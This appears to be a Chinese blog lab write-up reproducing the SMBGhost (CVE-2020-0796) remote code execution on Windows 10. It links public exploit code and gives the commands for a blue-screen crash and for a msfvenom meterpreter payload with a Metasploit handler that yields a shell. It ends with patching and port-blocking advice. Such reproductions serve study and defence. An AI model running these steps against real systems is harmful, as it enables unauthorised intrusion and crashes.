鸣谢文章:
CVE-2020-0796(永恒之黑)漏洞利用getshell复现详细过程
影响版本:
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
只限于上面少数 win10版本
工具下载:
漏洞检测工具:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
攻击poc:https://github.com/eerykitty/CVE-2020-0796-PoC
shell脚本:https://github.com/chompie1337/SMBGhost_RCE_PoC
Windows靶机系统:https://msdn.itellyou.cn/
漏洞原理:
SMB远程代码执行漏洞
SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。
利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。
验证漏洞蓝屏攻击与漏洞利用
首先关闭Win Defender 防火墙,关闭自动更新 保证两台主机能够正常通信。
开始试验
使用POC进行蓝屏攻击
python3 CVE-2020-0796.py 192.168.3.130
攻击时即刻蓝屏关机
使用SMB协议获取shell
远程代码执行exp:https://github.com/chompie1337/SMBGhost_RCE_PoC
流程:首先,在kali中执行:
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8888 -b '\x00' -i 1 -f python
说明:
#-p payload
#-e 编码方式
#-i 编码次数
#-b 在生成的程序中避免出现的值
#LHOST,LPORT 监听上线的主机IP和端口
#-f exe 生成EXE格式
#‘\x00‘转义字符,对应ascall码中为null,因为是二进制文件所以会出现,在python中作为结束的标志,有点相当于%00截断的感觉。
输出编码,把其中的编码内容全部复制,粘贴到exploit.py中USER_PAYLOAD区域中去,
注意,把buf替换成USER_PAYLOAD,保存
msf开启侦听端口
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 8888
set rhost 192.168.3.130
run
使用攻击exp,开始连接注入攻击代码
- [-] physical read primitive failed!
不成功或者打重启 就多试10几次,概率问题。
msf监听到反弹shell
修复建议
- 微软已经发布了此漏洞的安全补丁,访问如下链接:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796 - 开启Defender防火墙更新最新版本的Win10系统。
- 设置防火墙策略关闭相关端口
SMB的TCP 445端口
NetBIOS名称解析的UDP 137端口
NetBIOS数据图服务的UDP 138端口
NetBIOS会话服务的TCP 139端口
免责声明
免责声明: 本文旨在分享技术复现的相关知识和信息,仅供教育、研究和合法的安全测试之用。使用者应知悉并同意,任何通过本文所提供的技术和信息进行的活动,需遵守适用的法律法规,并获得相关授权。 特此声明,本文作者或发布者不对使用本文所提供的任何技术和信息导致的任何直接或间接损失、损害或法律纠纷承担责任。使用者应对其自身行为负完全责任,并自行承担相关风险。 使用者在使用本文所提供的技术和信息之前,请确保已获得合适的合法授权,并遵守以下准则:
- 合法使用原则:在任何情况下,禁止利用本文所涉及的技术和信息从事非法、未授权的活动,包括但不限于黑客攻击、非法入侵、未经授权的系统访问、数据篡改或窃取等。使用者应尊重他人的隐私权和知识产权,并严守法律和道德规范。
- 授权原则:在进行任何测试、复原或演示攻击之前,确保已获得明确的合法授权。未经明确授权进行攻击或测试行为是违法的,一切后果由使用者自行承担。
- 风险责任原则:使用者应意识到黑客技术复现存在风险,并且可能导致系统崩溃、数据丢失、业务中断或其他潜在的损害。在执行任何技术操作之前,请备份重要数据,并自行承担一切风险和责任。
- 法律遵守原则:使用者应遵守适用的国家、地区或国际法律法规。在进行学习、实验和测试的过程中,绝不可涉及非法活动,包括但不限于窃取他人信息、破坏公共设施、恶意软件传播或侵犯知识产权等。
请在使用本文所提供技术和信息之前,务必充分理解并接受上述责任和准则。 此免责声明适用于本文提供的任何技术和信息,无论以何种方式传播或使用,使用者一旦进行相关活动即视为接受以上所有规定和责任。